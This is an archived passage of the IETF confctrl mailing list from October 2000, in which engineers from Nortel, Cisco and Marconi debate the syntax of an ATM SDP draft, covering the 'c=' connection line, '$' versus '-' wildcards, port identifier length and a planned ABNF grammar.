Gonzalo Camarillo         Phone :  +358  9 299 33 71
Oy L M Ericsson Ab        Mobile:  +358 40 702 35 35
Telecom R&D               Fax   :  +358  9 299 30 52
FIN-02420 Jorvas          Email :  Gonzalo.Camarillo@ericsson.com
Finland                   http://www.hut.fi/~gonzalo

From confctrl-owner  Mon Oct  9 04:02:31 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id EAA28486
	for confctrl-outgoing; Mon, 9 Oct 2000 04:02:31 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id EAA28481
	for <confctrl@zephyr.isi.edu>; Mon, 9 Oct 2000 04:02:29 -0700 (PDT)
Received: from qhars002.nortel.com (qhars002.NortelNetworks.com [192.100.101.19])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id EAA29585
	for <confctrl@ISI.EDU>; Mon, 9 Oct 2000 04:02:39 -0700 (PDT)
Received: from znsgd00t.europe.nortel.com (actually znsgd00t) 
          by qhars002.nortel.com; Mon, 9 Oct 2000 12:01:25 +0100
Received: by znsgd00t.europe.nortel.com 
          with Internet Mail Service (5.5.2652.35) id <4M0H6211>;
          Mon, 9 Oct 2000 12:01:23 +0100
Message-ID: <61ABD11436FED21192440000F81F3E360304C310@nwcwi1a.europe.nortel.com>
From: "Mark Watson" <mwatson@nortelnetworks.com>
To: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>,
        "'atmsdp@eng.fore.com'" <atmsdp@eng.fore.com>
Subject: FW: Question on ATM SDP draft
Date: Mon, 9 Oct 2000 12:01:10 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2652.35)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C031E0.3B209400"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C031E0.3B209400
Content-Type: text/plain;
	charset="iso-8859-1"

Anyone have any opinions on this ?

Regards,
 
Mark Watson
Nortel Networkd
-----Original Message-----
From: Watson, Mark [mailto:mwatson@europem01.nt.com]
Sent: 28 September 2000 10:02
To: 'Rajesh Kumar'
Cc: atmsdp@eng.fore.com
Subject: RE: Question


Hi,
 
Minor point, but on the 'c=' line, shouldn't we describe this as being the
same syntax as in existing SDP:
 
c=<NetworkType> <AddressType> <Address>
 
and say that we are just introducing some new values for <AddressType> and
associated formats for <Address>. I would like to think that the new
<AddressType>s would be valid for all values of <NetworkType> not just 'ATM'
(I'm thinking more of future values of <NetworkType> than the existing
values.)
 
The current description kind of implies that the new Address Types are only
used when <NetworkType>=ATM.
 
Regards,
 
Mark Watson
Nortel Networks
 
 
 -----Original Message-----
From: Rajesh Kumar [mailto:rkumar@cisco.com]
Sent: 26 September 2000 22:04
To: Mackey, Michael; 'Rajesh Kumar'
Cc: Somers, Mark; atmsdp@eng.fore.com
Subject: Question



Michael,
Yes. h.248 allows "$" for the IP address. Therefore, the same should be OK
for the ATM address.

My question is: Isn't this semantically the same as the "-"? This is how it
is used in h.248. In this case, do we need the "-"? For backwards
compatibility, do we want to permit a "$" and a "-" as synonyms for the 'c'
line?

Rajesh
At 06:13 AM 9/26/00 -0400, Mackey, Michael wrote: 


Hi Rajesh ...
    I have a small question about the c= line ... you say in the document
that it can be set to 
 
c=ATM <ATMaddressType> <ATMaddress> 
 
and if they are not known that ATMaddressType and ATMaddress can be set to
'-' , would I be correct in presuming that the use of $ is also allowed for
this field ... if yes then should it be mentioned in the document. I know
Megaco allows all fields in SDP to be substituted with $ but since you
explicitly say it for the vcci maybe it might be better to add it in.
 
Michael Mackey,
Marconi Communications,
Tel: +353 1 6638407
- www.marconi.com <http://www.marconi.com/>  - 



-----Original Message----- 

From: Rajesh Kumar [ mailto:rkumar@cisco.com <mailto:rkumar@cisco.com> ] 

Sent: Tuesday, September 26, 2000 12:34 AM 

To: mhussain@hss.hns.com; atmsdp@eng.fore.com 

Subject: ATM SDP inputs from Naren and Mahamood



Mahamood and Naren, 

I have concatenated, below, several of your emails into one to expedite my
response. Hope this clears up the air. Thanks to you  for your latest round
of inputs. These are specially significant to me since your companies
(Trillium and Hughes Software) are actually implementing the draft. 

Here are some responses, in-line. 

At 09:35 AM 9/20/00 +0530, mhussain@hss.hns.com wrote: 

> 

>1. Why does a port number need 32 digits for representation? Won't 32 bits 

>suffice? I am not aware of any machine that uses such a large number range
>for its ports. Kindly clarify.



See http://search.ietf.org/internet-drafts/draft-ietf-ptopomib-mib-05.txt
<http://search.ietf.org/internet-drafts/draft-ietf-ptopomib-mib-05.txt> . It
refers to rfc2737 and rfc2233. In brief, it specifies the port identifier as
a variable size octet string of up to 32 octets. Although the earlier drafts
limited port ID to 32 bits (4 octets), it was considered necessary to extend
it to 32. I have a little clean-up to do regarding the "34 alphanumeric"
characters and I'll do it in the next draft which I will circulate on the
mailing list. Basically, I will make it conform to what the IETF has
standardized/recommended so far in its physical topology MIBs. And, yes,
there are implementations in which the port ID is more than 32 bits e.g.
cases in which there is a six-byte  IEEE 802 MAC address used as a physical
port ID.



> 

>2. The draft says ".. to cover all cases, the <portid> can consist of upto
34 

>alphanumeric charecters. ". My understanding of 'alphanumeric' is strings
like 

>"mhussain_32". If we use such identifiers for a port, is there going to be
some 

>kind of a mapping between the port number and the port identifier? Since so
far 

>as I gather ports are identified only by a 32bit number.



See comment above.



> 

>     These are also problems in migrating from the older draft to the newer


>one. 

>The older draft qualified vcci, bcg, port id etc as "decimal numbers". With


>this 

>new definition of <portid>, code written around the old draft will be
broken 

>:-(. Can we come up with a scheme that extends the old definitions without 

>breaking old code?



I am going to be following Naren's suggestion that: "There are a few places
(NSAP address, IEEE ID etc) where ONLY hex digits can appear. In these cases
I am fine with having no hex prefixes. My only concern was places where a
hex or a decimal may appear." In these cases where decimal or hex values are
permitted, I'll be requiring explicit 0x prefixes to distinguish decimal
from hex. Also, see my comment, above,  about cleaning up the alphanumeric
port ID. I hope this also helps backwards compatibility with the code that
your team wrote around the earlier draft. However, please note that there is
risk associated with writing code around specifications that are in flux.
You should expect minor changes until the document is ratified. This is just
the way things are.



On another note, I think the consensus, by articulation or silence, in this
group is to disallow the implicit virtualConnectionId naming convention. I
will do that too. This is what Sean Sheedy, Naren Tulpule and you wanted.



>     Regarding the virtual connection ID for the "m=" line, the current
draft 

>does not explicitly allow/ disallow the sub-parameters to be a dollar. If I
am 

>not wrong, the oldest draft explicitly disallowed bcg from taking on a
dollar. 

>Could such a restriction be included in the draft?



The older version did not disallow wildcarding the <bcg>. It was omitted as
an oversight. Actually, the <bcg> was added in the description of the
VirtualConnectionId without adding it into the wildcarding description. That
was a typo and not a  feature. Since there is no reason why  <bcg>
wildcarding should be disallowed, I will not be adding the restriction you
requested.



> 

>Rajesh, could you also consider including a formal grammar specification
for 

>ATM 

>SDP? ABNF might be a good choice of representation. This will help clear
any 

>ambiguities that may arise as the grammar will be the standard of reference


>when 

>building a parser or encoder for ATM sdp.



I do not think I will have a formal ABNF grammar in by the next draft, which
I hope to issue in a few days. Naren has provided me with one to start with
(Thanks!), but it needs some work. I plan to have it in the next draft after
the next.



> 

> 

>Thanx, 

>Mahamood 

> 

>





- Rajesh Kumar 

         

------------------------------------------------------- 

Rajesh Kumar                             :         : 

Carrier Packet Voice                    .|.       .|. 

Cisco Systems                         .:|||:.   .:|||:. 

San Jose, California               ..:|||||||:.:|||||||:.. 

408 527 0811                       C i s c o S y s t e m s 

rkumar@cisco.com  

------------------------------------------------------- 

          

  

 




- Rajesh Kumar
        
-------------------------------------------------------
Rajesh Kumar                             :         :
Carrier Packet Voice                    .|.       .|.
Cisco Systems                         .:|||:.   .:|||:.
San Jose, California               ..:|||||||:.:|||||||:..
408 527 0811                       C i s c o S y s t e m s
rkumar@cisco.com  
-------------------------------------------------------
          
 
 



------_=_NextPart_001_01C031E0.3B209400
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">


<META content="MSHTML 5.00.2314.1000" name=GENERATOR></HEAD>
<BODY>
<DIV><FONT color=#0000ff face=Verdana size=2><SPAN 
class=120545910-09102000>Anyone have any opinions on this ?</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Verdana size=2><SPAN 
class=120545910-09102000><BR>Regards,</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Verdana size=2><SPAN 
class=120545910-09102000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Verdana size=2><SPAN class=120545910-09102000>Mark 
Watson</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Verdana size=2><SPAN 
class=120545910-09102000>Nortel Networkd</SPAN></FONT></DIV>
<DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma 
size=2>-----Original Message-----<BR><B>From:</B> Watson, Mark 
[mailto:mwatson@europem01.nt.com]<BR><B>Sent:</B> 28 September 2000 
10:02<BR><B>To:</B> 'Rajesh Kumar'<BR><B>Cc:</B> 
atmsdp@eng.fore.com<BR><B>Subject:</B> RE: Question<BR><BR></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=090565608-28092000>Hi,</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=090565608-28092000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=090565608-28092000>Minor 
point, but on the 'c=' line, shouldn't we describe this as being the same syntax 
as in existing SDP:</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=090565608-28092000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=090565608-28092000>c=&lt;NetworkType&gt; &lt;AddressType&gt; 
&lt;Address&gt;</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=090565608-28092000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=090565608-28092000>and 
say that we are just introducing some new values for &lt;AddressType&gt; and 
associated formats for &lt;Address&gt;. I would like to think that the new 
&lt;AddressType&gt;s would be valid for all values of &lt;NetworkType&gt; not 
just 'ATM' (I'm thinking more of future values of &lt;NetworkType&gt; than the 
existing values.)</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=090565608-28092000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=090565608-28092000>The 
current description kind of implies that the new Address Types are only used 
when &lt;NetworkType&gt;=ATM.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=090565608-28092000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=090565608-28092000>Regards,</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=090565608-28092000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=090565608-28092000>Mark 
Watson</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=090565608-28092000>Nortel 
Networks</SPAN></FONT></DIV>
<DIV><SPAN class=090565608-28092000></SPAN><FONT face=Tahoma><FONT size=2><SPAN 
class=090565608-28092000><FONT color=#0000ff 
face=Arial>&nbsp;</FONT></SPAN></FONT></FONT></DIV>
<DIV><FONT face=Tahoma><FONT size=2><SPAN 
class=090565608-28092000></SPAN></FONT></FONT>&nbsp;</DIV>
<DIV><FONT face=Tahoma><FONT size=2><SPAN 
class=090565608-28092000>&nbsp;</SPAN>-----Original Message-----<BR><B>From:</B> 
Rajesh Kumar [mailto:rkumar@cisco.com]<BR><B>Sent:</B> 26 September 2000 
22:04<BR><B>To:</B> Mackey, Michael; 'Rajesh Kumar'<BR><B>Cc:</B> Somers, Mark; 
atmsdp@eng.fore.com<BR><B>Subject:</B> Question<BR><BR></DIV></FONT>
<BLOCKQUOTE style="MARGIN-RIGHT: 0px"></FONT>Michael,<BR>Yes. h.248 allows "$" 
  for the IP address. Therefore, the same should be OK for the ATM 
  address.<BR><BR>My question is: Isn't this semantically the same as the "-"? 
  This is how it is used in h.248. In this case, do we need the "-"? For 
  backwards compatibility, do we want to permit a "$" and a "-" as synonyms for 
  the 'c' line?<BR><BR>Rajesh<BR>At 06:13 AM 9/26/00 -0400, Mackey, Michael 
  wrote: <BR><FONT face=arial size=2>
  <BLOCKQUOTE type="cite" cite>Hi Rajesh ...</FONT><BR>&nbsp;&nbsp;&nbsp; I 
    have a small question about the c= line ... you say in the document that it 
    can be set to <BR>&nbsp;<BR><FONT face=arial>c=ATM &lt;ATMaddressType&gt; 
    &lt;ATMaddress&gt; </FONT><BR>&nbsp;<BR><FONT face=arial>and if they are not 
    known that ATMaddressType and ATMaddress can be set to&nbsp;&nbsp; '-' , 
    would I be correct in presuming that the use of $ is also allowed for this 
    field ... if yes then should it be mentioned in the document. I know Megaco 
    allows all fields in SDP to be substituted with $ but since you explicitly 
    say it for the vcci maybe it might be better to add it 
    in.</FONT><BR>&nbsp;<BR><FONT face=arial size=2><B><I>Michael 
    Mackey,</FONT></B></I><BR>Marconi Communications,</B></I><BR>Tel: +353 1 
    6638407</B></I><BR>- <A href="http://www.marconi.com/">www.marconi.com</A> 
    -</B></I></B></I> 
    <BLOCKQUOTE><FONT face=tahoma size=2>
      <DL>
        <DD>-----Original Message----- 
        <DD>From:</B> Rajesh Kumar [<A href="mailto:rkumar@cisco.com" 
        eudora="autourl">mailto:rkumar@cisco.com</A>] 
        <DD>Sent:</B> Tuesday, September 26, 2000 12:34 AM 
        <DD>To:</B> mhussain@hss.hns.com; atmsdp@eng.fore.com 
        <DD>Subject:</B> ATM SDP inputs from Naren and 
        Mahamood<BR><BR></FONT><FONT color=#0000ff>
        <DD>Mahamood and Naren, 
        <DD>I have concatenated, below, several of your emails into one to 
        expedite my response. Hope this clears up the air. Thanks to you&nbsp; 
        for your latest round of inputs. These are specially significant to me 
        since your companies (Trillium and Hughes Software) are actually 
        implementing the draft.</FONT> 
        <DD>Here are some responses, in-line. 
        <DD>At 09:35 AM 9/20/00 +0530, mhussain@hss.hns.com wrote: 
        <DD>&gt; 
        <DD>&gt;1. Why does a port number need 32 digits for representation? 
        Won't 32 bits 
        <DD>&gt;suffice? I am not aware of any machine that uses such a large 
        number range &gt;for its ports. Kindly clarify.<BR><BR><FONT 
        color=#0000ff>
        <DD>See <A 
        href="http://search.ietf.org/internet-drafts/draft-ietf-ptopomib-mib-05.txt" 
        eudora="autourl">http://search.ietf.org/internet-drafts/draft-ietf-ptopomib-mib-05.txt</A>. 
        It refers to rfc2737 and rfc2233. In brief, it specifies the port 
        identifier as a variable size octet string of up to 32 octets. Although 
        the earlier drafts limited port ID to 32 bits (4 octets), it was 
        considered necessary to extend it to 32. I have a little clean-up to do 
        regarding the "34 alphanumeric" characters and I'll do it in the next 
        draft which I will circulate on the mailing list. Basically, I will make 
        it conform to what the IETF has standardized/recommended so far in its 
        physical topology MIBs. And, yes, there are implementations in which the 
        port ID is more than 32 bits e.g. cases in which there is a 
        six-byte&nbsp; IEEE 802 MAC address used as a physical port 
        ID.<BR><BR></FONT>
        <DD>&gt; 
        <DD>&gt;2. The draft says ".. to cover all cases, the &lt;portid&gt; can 
        consist of upto 34 
        <DD>&gt;alphanumeric charecters. ". My understanding of 'alphanumeric' 
        is strings like 
        <DD>&gt;"mhussain_32". If we use such identifiers for a port, is there 
        going to be some 
        <DD>&gt;kind of a mapping between the port number and the port 
        identifier? Since so far 
        <DD>&gt;as I gather ports are identified only by a 32bit 
        number.<BR><BR><FONT color=#0000ff>
        <DD>See comment above.<BR><BR></FONT>
        <DD>&gt; 
        <DD>&gt;&nbsp;&nbsp;&nbsp;&nbsp; These are also problems in migrating 
        from the older draft to the newer 
        <DD>&gt;one. 
        <DD>&gt;The older draft qualified vcci, bcg, port id etc as "decimal 
        numbers". With 
        <DD>&gt;this 
        <DD>&gt;new definition of &lt;portid&gt;, code written around the old 
        draft will be broken 
        <DD>&gt;:-(. Can we come up with a scheme that extends the old 
        definitions without 
        <DD>&gt;breaking old code?<BR><BR><FONT color=#0000ff>
        <DD>I am going to be following Naren's suggestion that: "There are a few 
        places (NSAP address, IEEE ID etc) where ONLY hex digits can appear. In 
        these cases I am fine with having no hex prefixes. My only concern was 
        places where a hex or a decimal may appear." In these cases where 
        decimal or hex values are permitted, I'll be requiring explicit 0x 
        prefixes to distinguish decimal from hex. Also, see my comment, 
        above,&nbsp; about cleaning up the alphanumeric port ID. I hope this 
        also helps backwards compatibility with the code that your team wrote 
        around the earlier draft. However, please note that there is risk 
        associated with writing code around specifications that are in flux. You 
        should expect minor changes until the document is ratified. This is just 
        the way things are.<BR><BR>
        <DD>On another note, I think the consensus, by articulation or silence, 
        in this group is to disallow the implicit virtualConnectionId naming 
        convention. I will do that too. This is what Sean Sheedy, Naren Tulpule 
        and you wanted.<BR><BR></FONT>
        <DD>&gt;&nbsp;&nbsp;&nbsp;&nbsp; Regarding the virtual connection ID for 
        the "m=" line, the current draft 
        <DD>&gt;does not explicitly allow/ disallow the sub-parameters to be a 
        dollar. If I am 
        <DD>&gt;not wrong, the oldest draft explicitly disallowed bcg from 
        taking on a dollar. 
        <DD>&gt;Could such a restriction be included in the draft?<BR><BR><FONT 
        color=#0000ff>
        <DD>The older version did not disallow wildcarding the &lt;bcg&gt;. It 
        was omitted as an oversight. Actually, the &lt;bcg&gt; was added in the 
        description of the VirtualConnectionId without adding it into the 
        wildcarding description. That was a typo and not a&nbsp; feature. Since 
        there is no reason why&nbsp; &lt;bcg&gt; wildcarding should be 
        disallowed, I will not be adding the restriction you 
        requested.<BR><BR></FONT>
        <DD>&gt; 
        <DD>&gt;Rajesh, could you also consider including a formal grammar 
        specification for 
        <DD>&gt;ATM 
        <DD>&gt;SDP? ABNF might be a good choice of representation. This will 
        help clear any 
        <DD>&gt;ambiguities that may arise as the grammar will be the standard 
        of reference 
        <DD>&gt;when 
        <DD>&gt;building a parser or encoder for ATM sdp.<BR><BR><FONT 
        color=#0000ff>
        <DD>I do not think I will have a formal ABNF grammar in by the next 
        draft, which I hope to issue in a few days. Naren has provided me with 
        one to start with (Thanks!), but it needs some work. I plan to have it 
        in the next draft after the next.<BR><BR></FONT>
        <DD>&gt; 
        <DD>&gt; 
        <DD>&gt;Thanx, 
        <DD>&gt;Mahamood 
        <DD>&gt; 
        <DD>&gt;<BR><BR><BR><BR>
        <DD>- Rajesh Kumar<FONT color=#800000 size=2> 
        <DD>&nbsp;<X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB></FONT> 

        <DD>------------------------------------------------------- 
        <DD>Rajesh 
        Kumar&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
        :&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : 
        <DD>Carrier Packet 
        Voice&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
        .|.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .|. 
        <DD>Cisco 
        Systems&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
        .:|||:.&nbsp;&nbsp; .:|||:. 
        <DD>San Jose, 
        California&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
        ..:|||||||:.:|||||||:.. 
        <DD>408 527 
        0811&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
        C i s c o S y s t e m s 
        <DD>rkumar@cisco.com&nbsp; 
        <DD>-------------------------------------------------------<FONT 
        color=#800000 size=2> 
        <DD>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
        <DD>&nbsp;</FONT><FONT color=#800000 face=garamond> 
        <DD>&nbsp;</FONT></I></I></DD></DL></BLOCKQUOTE>
    <DL></DL><BR></I><BR><BR>- Rajesh Kumar<BR><FONT color=#800000 
    size=2>&nbsp;<X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB><BR></FONT>-------------------------------------------------------<BR>Rajesh 
    Kumar&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
    :&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; :<BR>Carrier Packet 
    Voice&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
    .|.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .|.<BR>Cisco 
    Systems&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
    .:|||:.&nbsp;&nbsp; .:|||:.<BR>San Jose, 
    California&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
    ..:|||||||:.:|||||||:..<BR>408 527 
    0811&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
    C i s c o S y s t e m s<BR>rkumar@cisco.com&nbsp; 
    <BR>-------------------------------------------------------<BR><FONT 
    color=#800000 size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
    <BR>&nbsp;<BR></FONT><FONT color=#800000 
    face=Garamond><I>&nbsp;<BR></FONT></I></BLOCKQUOTE></BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C031E0.3B209400--

From confctrl-owner  Mon Oct  9 06:01:24 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id GAA02107
	for confctrl-outgoing; Mon, 9 Oct 2000 06:01:24 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA02102
	for <confctrl@zephyr.isi.edu>; Mon, 9 Oct 2000 06:01:22 -0700 (PDT)
Received: from ertpg14e1.nortelnetworks.com (ertpg14e1.nortelnetworks.com [47.234.0.35])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id GAA21877
	for <confctrl@isi.edu>; Mon, 9 Oct 2000 06:01:32 -0700 (PDT)
Received: from zcard015.ca.nortel.com (actually zcard015) 
          by ertpg14e1.nortelnetworks.com; Mon, 9 Oct 2000 09:00:59 -0400
Received: by zcard015.ca.nortel.com with Internet Mail Service (5.5.2652.35) 
          id <TT34XLVP>; Mon, 9 Oct 2000 09:00:57 -0400
Message-ID: <E7C200FFFF64D211972F0000F8082287C9646E@ztcfd004.ca.nortel.com>
From: "Sophia Scoggins" <scoggins@nortelnetworks.com>
To: "Mark Watson" <mwatson@nortelnetworks.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>,
        "'atmsdp@eng.fore.com'" <atmsdp@eng.fore.com>
Subject: RE: Question on ATM SDP draft
Date: Mon, 9 Oct 2000 09:00:54 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2652.35)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C031F0.F5A865E0"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C031F0.F5A865E0
Content-Type: text/plain;
	charset="iso-8859-1"

The "c=" line is applicable to other type of networks as well. It has been
implemented in the IP network:
 
c=IN IP4 <IP address>
 
Furthermore, there was no restriction on either MGC or MG must provide the
network type. So, if the MGC is bearer independent, it would send a '$' to
let the MG decide which type of network is. Similarly, if the MGC knew the
network type, but not the address type, it can let the MG to decide the
bearer technologies. So, all of below formats should be valid:
 
c= $ $ $
c=IN $ $
c=IN IP4 $
c=ATM $ $
c= ATM NSAP $
 
In addition to the "c=" line, the "m=" line also allows $ in many arguments
fields.
 
The difference between "$" and "-" is that "$" means the argument is in use,
but the value has been determined. The recipient of the SDP should
provide/return the value, while "-" means the argument is not in use
(therefore, it should be ignored).
 
However, if "$" seems caused potential interop problems. Because a MGC can
let as many fields be "$" as it wishes, while a MG may rely on the MGC's to
determine the value of several arguments. This is not a protocol issue, but
an implementation agreement / interop issue.
 
 
Regards, Sophia
-----Original Message-----
From: Watson, Mark [MAIFP:EP11-M:EXCH] 
Sent: Monday, October 09, 2000 7:01 AM
To: 'confctrl@ISI.EDU'; 'atmsdp@eng.fore.com'
Subject: FW: Question on ATM SDP draft


Anyone have any opinions on this ?

Regards,
 
Mark Watson
Nortel Networkd
-----Original Message-----
From: Watson, Mark [mailto:mwatson@europem01.nt.com]
Sent: 28 September 2000 10:02
To: 'Rajesh Kumar'
Cc: atmsdp@eng.fore.com
Subject: RE: Question


Hi,
 
Minor point, but on the 'c=' line, shouldn't we describe this as being the
same syntax as in existing SDP:
 
c=<NetworkType> <AddressType> <Address>
 
and say that we are just introducing some new values for <AddressType> and
associated formats for <Address>. I would like to think that the new
<AddressType>s would be valid for all values of <NetworkType> not just 'ATM'
(I'm thinking more of future values of <NetworkType> than the existing
values.)
 
The current description kind of implies that the new Address Types are only
used when <NetworkType>=ATM.
 
Regards,
 
Mark Watson
Nortel Networks
 
 
 -----Original Message-----
From: Rajesh Kumar [mailto:rkumar@cisco.com]
Sent: 26 September 2000 22:04
To: Mackey, Michael; 'Rajesh Kumar'
Cc: Somers, Mark; atmsdp@eng.fore.com
Subject: Question



Michael,
Yes. h.248 allows "$" for the IP address. Therefore, the same should be OK
for the ATM address.

My question is: Isn't this semantically the same as the "-"? This is how it
is used in h.248. In this case, do we need the "-"? For backwards
compatibility, do we want to permit a "$" and a "-" as synonyms for the 'c'
line?

Rajesh
At 06:13 AM 9/26/00 -0400, Mackey, Michael wrote: 


Hi Rajesh ...
    I have a small question about the c= line ... you say in the document
that it can be set to 
 
c=ATM <ATMaddressType> <ATMaddress> 
 
and if they are not known that ATMaddressType and ATMaddress can be set to
'-' , would I be correct in presuming that the use of $ is also allowed for
this field ... if yes then should it be mentioned in the document. I know
Megaco allows all fields in SDP to be substituted with $ but since you
explicitly say it for the vcci maybe it might be better to add it in.
 
Michael Mackey,
Marconi Communications,
Tel: +353 1 6638407
- www.marconi.com <http://www.marconi.com/>  - 



-----Original Message----- 

From: Rajesh Kumar [ mailto:rkumar@cisco.com <mailto:rkumar@cisco.com> ] 

Sent: Tuesday, September 26, 2000 12:34 AM 

To: mhussain@hss.hns.com; atmsdp@eng.fore.com 

Subject: ATM SDP inputs from Naren and Mahamood



Mahamood and Naren, 

I have concatenated, below, several of your emails into one to expedite my
response. Hope this clears up the air. Thanks to you  for your latest round
of inputs. These are specially significant to me since your companies
(Trillium and Hughes Software) are actually implementing the draft. 

Here are some responses, in-line. 

At 09:35 AM 9/20/00 +0530, mhussain@hss.hns.com wrote: 

> 

>1. Why does a port number need 32 digits for representation? Won't 32 bits 

>suffice? I am not aware of any machine that uses such a large number range
>for its ports. Kindly clarify.



See http://search.ietf.org/internet-drafts/draft-ietf-ptopomib-mib-05.txt
<http://search.ietf.org/internet-drafts/draft-ietf-ptopomib-mib-05.txt> . It
refers to rfc2737 and rfc2233. In brief, it specifies the port identifier as
a variable size octet string of up to 32 octets. Although the earlier drafts
limited port ID to 32 bits (4 octets), it was considered necessary to extend
it to 32. I have a little clean-up to do regarding the "34 alphanumeric"
characters and I'll do it in the next draft which I will circulate on the
mailing list. Basically, I will make it conform to what the IETF has
standardized/recommended so far in its physical topology MIBs. And, yes,
there are implementations in which the port ID is more than 32 bits e.g.
cases in which there is a six-byte  IEEE 802 MAC address used as a physical
port ID.



> 

